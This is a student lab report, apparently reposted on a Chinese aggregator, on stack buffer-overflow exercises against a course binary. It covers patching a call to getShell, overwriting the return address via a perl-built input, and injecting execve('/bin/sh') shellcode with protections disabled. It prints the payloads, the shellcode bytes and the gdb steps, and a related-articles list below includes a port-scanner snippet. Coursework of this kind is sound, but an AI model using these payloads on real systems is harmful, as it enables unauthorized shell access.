20234320 2025-2026-1 《网络与系统攻防技术》实验一实验报告

news/2025/10/13 14:08:20/文章来源:https://www.cnblogs.com/zizizilin/p/19138362

20234320 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

1.1 目标任务

a.对目标pwn文件,手工修改可执行文件从而改变执行过程,跳转到getShell得到可用Shell
b.对目标pwn文件,利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖原本的返回地址,跳转到getShell函数
c.对目标pwn文件,注入自制的shellcode并设法运行得到可用Shell

1.2 学习内容

a.熟悉Linux基本操作,熟练使用各类常用指令,如管道(|),输入、输出重定向(>)等
b.掌握反汇编、gdb调试与十六进制编辑器
c.理解通过修改机器指令改变程序执行流程的原理
d.掌握构造payload进行BOF攻击的基本方法

2.实验环境

2.1下载24版kali,并挂载到VMWare上

  • 这里最好用24版的kali,25版kali在安装时有概率触发网络问题,后续可通过apt更新到最新版本
    image
    查看当前kali版本为2025.3
    image

2.2配置共享文件夹,将实验用的pwn1和execstack传到虚拟机中

image

3.实验过程

3.1通过直接修改程序机器指令getShell

  • 通过objdump指令进行反汇编,查看汇编代码
    使用objdump -d pwn20234320_1 | more命令,对文件进行反汇编。查看代码可知main函数中的80484b5位置为跳转到foo函数的指令。
    image
  • main函数调用foo函数的机器指令为e8 d7ffffff,e8表示跳转,foo函数的地址为EIP+d7ffffff,即8048491,EIP此时指向下一条指令的地址80484ba,加上补码d7ffffff后得到的正好为8048491,如果需要程序不跳转到foo函数,而是跳转到getShell函数,就需要我们修改原本跳转的地址为getShell函数的地址,使其直接调用getShell函数。
    查看代码可知,getShell函数的地址为0x0804847d,操作数为0x0804847d-EIP=c3ffffff,因此直接通过vim修改机器指令为e8 c3ffffff,以下为修改过程
    image
    image
  • 运行pwn20234320_1,尝试输入命令,成功执行,getshell
    image
    3.2 构造输入造成BOF攻击
  • 反汇编观察foo函数,得知在8048497位置的lea -0x1c(%ebp),%eax指令只为后续的字符串预留了一块0x1c字节(即28字节)大小的缓冲区,因此可将shellcode的起始位置覆盖返回位置,触发缓冲区溢出漏洞,如下图所示:
    image
  • getshell的起始地址为804847d
    image
  • 通过输入字符串确定哪几个字符会落在返回地址中
    1111111122222222333333334444444412345678
    image
  • 可以发现eip中为1234,则需要将起始地址080447d填入1234原本的位置进行覆盖,注意这里为小端序,应该输入\x7d\x84\x04\x08
    由为无法通过键盘直接输入\x7d\x84\x04\x08这样的16进制值,所以使用命令perl生成包括这样字符串的一个文件。随后使用xxd命令查看文件内容是否正确。
    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    xxd input
    image
  • 将input文件通过管道符|作为pwn20234320_2的输入,发现程序可以调用getShell函数,成功获得了shell
    (cat input; cat) | ./pwn20234320_2
    image

3.3注入Shellcode并执行

  • 在Linux环境中进行该实验需要满足以下三个条件:关闭堆栈保护;关闭堆栈执行保护;关闭地址随机化;
    execstack可用于查询和修改可执行文件或共享库的堆栈执行权限,kali中不能直接下载该工具,在宿主机中下载好后再通过共享文件夹传到kali中进行安装
    下载链接:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
    image
    image
  • 构造payload
    因为缓冲区较小(28字节),故选择构造结构为anything(填充)+retaddr(缓冲区)+nop+shellcode,前面计算字符串缓冲区可知在返回地址之前有28+4字节需要填充,所以anything的部分为'A'x32,shellcode采用\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
    目前需要确定retaddr的值,我们选择的结构中,shellcode在retaddr的后面(落在nop上会自动滑行至shellcode部分),所以先用x4\x3\x2\x1来代替shellcode的地址,找到后进行替换,因此我们输入payloadprint "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"(perl)来进行调试,先准备一个input文件
    image
  • 通过管道输入input文件,运行pwn20234320_3,打开gdb进行调试(我这里使用的是pwngdb)
    (cat input_shellcode_test;cat) | ./pwn20234320_3
    image
  • 通过ps命令查看程序的PID,这里是53507
    image
  • 设置断点,来查看注入buf的内存地址
    image
    这里找到了01020304,是ret的地址,查找esp地址为0xffffcebc,那么shellcode的地址为0xffffcebc+4=0xffffcec0
    image
  • 将01020304替换成shellcode的地址0xffffcec0,重新执行pwn20234320_3
    注意,这里还是用小端序,写入时要调换顺序
    image
  • 执行pwn20234320_3,getshell
    image

3.问题及解决方案

  • 问题1:安装25版kali时,遇到网络问题,下载相关文件卡死
  • 问题1解决方案:通过上网查找教程,直接安装24版kali,再通过apt即可升级
  • 问题2:直接通过apt下载execstack失败,提示 "ERROR 404: Not Found"
  • 问题2解决方案:上网搜索到execstack的deb包,下载后直接本地安装
  • 问题3:注入Shellcode并执行实验中,按照实验步骤执行后没有获得shell,而是提示为段错误
  • 问题3解决方案:首先是因为在进行实验的过程中,对各个寄存器的含义和使用方法很不熟悉,以及对堆栈的结构理解不到位,在找到了01020304之后,没有分析清楚shellcode的位置就旁边,导致一直没有正确覆盖返回地址。后面重新按照指导书一步步gdb重新调试,理解了exp的结构,在前面补充了32个"A",成功getshell

4.学习感悟与思考

pwn相关的攻防技术非常依赖知识的积累和经验总结,即使是一个基础的实验,在关闭了各种安全设置后,仍然非常考验对于知识的综合运用能力,比如对于动态调试工具的使用(在哪里下断点)、不同寄存器的作用(哪个寄存器存储了之后要返回的地址)、大端序与小端序(payload的构造)、堆栈的结构(怎么选取paylaod的结构)、nod的作用等等,这些基础知识互相关联,环环相扣,需要我重新梳理这些知识,才能更好解决此类问题。同时,我也要加强经验的积累,payload在构造时,不仅需要通过反汇编、动态调试等技术寻找蛛丝马迹,有时候也要结合相似的问题大胆猜想,才能pwn。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/936128.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年10月清洗机厂家最新推荐排行榜,高压清洗机,超声波清洗机,工业清洗机,商用清洗机公司推荐!

2025年10月清洗机厂家最新推荐排行榜:高压清洗机、超声波清洗机、工业清洗机、商用清洗机公司推荐随着工业和商业领域的不断发展,清洗机的需求日益增加。无论是高压清洗机、超声波清洗机,还是工业清洗机和商用清洗机…

2025年10月上海殡葬服务一条龙最新权威推荐榜:专业贴心的全程陪伴与优质服务厂家选择指南

2025年10月上海殡葬服务一条龙最新权威推荐榜:专业贴心的全程陪伴与优质服务厂家选择指南引言随着社会的发展和人们生活水平的提高,对于殡葬服务的需求也日益增长。上海作为中国的一线城市,其殡葬服务行业更是备受关…

JavaScript链式调用(基础篇)

JavaScript链式调用(基础篇)Posted on 2025-10-13 14:00 lzhdim 阅读(0) 评论(0) 收藏 举报一、什么是链式调用?链式调用(Method Chaining) 是一种让多个方法通过连续的“点操作符”调用的编码风格 // 示例:…

【服务器知识】HTTP 请求头信息及其用途详细说明 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

[GenAI] 大模型微调

英文:Fine-tuning 中文:大模型微调 大模型的构建其实分为 2 个阶段:预训练(pre-training):此阶段模型会在 大规模、多样化的数据集 上进行训练,从而形成全面的语言理解能力。 微调(fine-tuning):在规模较小的…

2025年10月气柱袋厂家最新推荐排行榜,缓冲包装气柱袋,防震气柱袋,充气气柱袋公司推荐!

2025年10月气柱袋厂家最新推荐排行榜:缓冲包装气柱袋、防震气柱袋、充气气柱袋公司推荐随着物流和电子商务行业的快速发展,气柱袋作为一种高效的缓冲包装材料,越来越受到企业的青睐。为了帮助企业筛选优质的气柱袋品…

[GenAI] LoRA微调

LoRA 英文全称为 Low-Rank Adaptation,中文:“低秩适配器” 秩的概念 英文 Rank 中文:秩 所谓秩,指的就是一个矩阵中 真正包含的信息量 有多少。 🙋小红买了 3 个苹果 4 个桃子,花了 18 元,小明买了 2 个苹果 …

2025年10月保洁公司最新权威推荐榜:专业清洁与高效服务的品质之选

2025年10月保洁公司最新权威推荐榜:专业清洁与高效服务的品质之选随着城市化进程的加快和人们生活水平的提高,对清洁服务的需求日益增长。保洁公司在保障环境卫生、提升生活品质方面发挥着重要作用。为了帮助筛选保洁…

2025年10月粉末涂料厂家最新推荐排行榜,环氧粉末涂料,聚酯粉末涂料,丙烯酸粉末涂料,耐候性粉末涂料公司推荐

2025年10月粉末涂料厂家最新推荐排行榜:环氧、聚酯、丙烯酸及耐候性粉末涂料公司推荐随着工业和建筑行业的快速发展,粉末涂料因其环保、高效、耐用等优点,逐渐成为涂料市场的主流选择。为了帮助筛选粉末涂料品牌,特…

基于单片机的汽车防碰撞刹车系统(论文+源码) - 实践

基于单片机的汽车防碰撞刹车系统(论文+源码) - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas&qu…

git submodule

配置子模块: 子模块A:libA.git 子模块B:libB.git 主仓库:super.git添加子模块A: git submodule add ../libA.git lib/lib_a添加子模块B: git submodule add ../libB.git lib/lib_b

2025年10月确有专长培训机构最新推荐榜单:专业课程与高通过率口碑之选

2025年10月确有专长培训机构最新推荐榜单:专业课程与高通过率口碑之选随着社会对专业技能需求的不断增长,确有专长培训行业也迎来了前所未有的发展机遇。各大培训机构纷纷推出各类课程,以满足不同人群的需求。然而,…

有源探头DC与RMS参数详解:选型与应用指南

本文解析了有源电压探头的DC和RMS参数,指出其在测量直流和交流信号中的关键作用,并强调两者在峰值耐压能力上的等价性。在有源电压探头的技术参数中,DC(直流)和RMS(有效值)是两个至关重要的指标。正确理解这两个…

Objective-C Runtime 中的关联对象(Associated Object)方法

objc_setAssociatedObject(phoneLbl, @"phoneNumberKey", salesmanPhoneNum, OBJC_ASSOCIATION_RETAIN_NONATOMIC); 使用场景 常用于给系统类(如 UIView、UILabel 等)动态添加自定义数据,特别是在分类(Ca…

2025年10月无锡公考培训机构最新权威推荐榜单:专业师资与高通过率口碑之选

2025年10月无锡公考培训机构最新权威推荐榜单:专业师资与高通过率口碑之选随着公务员考试的热度持续上升,越来越多的考生选择参加公考培训以提高自己的竞争力。在无锡这样一个竞争激烈的市场中,如何选择一家合适的公…

2025年10月防腐木厂家最新推荐排行榜,专业生产户外景观木材,品质卓越值得信赖!

2025年10月防腐木厂家最新推荐排行榜,专业生产户外景观木材,品质卓越值得信赖!随着城市化进程的加快和人们生活水平的提高,户外景观建设越来越受到重视。防腐木作为一种重要的户外建材,因其耐腐蚀、防虫蛀、美观耐…

数据敏感型企业为何优选吱吱企业即时通讯?其私有化部署优势详解

随着国内企业数字化转型的深入推进,企业即时通讯工具作为内部企业的必备生产要素,承载着大量商业机密。对于金融、医疗、科技等数据敏感型企业而言,保护商业机密是企业发展的生命线。吱吱企业即时通讯凭借私有化部署…

AIVILIZATION相关文件记录

蓝奏云下载:角色人生报告 蓝奏云下载:荣誉证书 密码:e64c

2025年10月上海门头清洗服务公司最新权威推荐榜:专业清洁与高效服务口碑之选

2025年10月上海门头清洗服务公司最新权威推荐榜:专业清洁与高效服务口碑之选随着城市化进程的加快,商业建筑和公共设施的外观维护变得越来越重要。门头清洗作为其中的重要一环,不仅关系到建筑物的整体美观,还直接影…

python实现全端口扫描

import socket from concurrent.futures import ThreadPoolExecutor# 扫描指定 IP 地址的端口 def scan_port(ip, port):with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.settimeout(0.5) # 设置超时…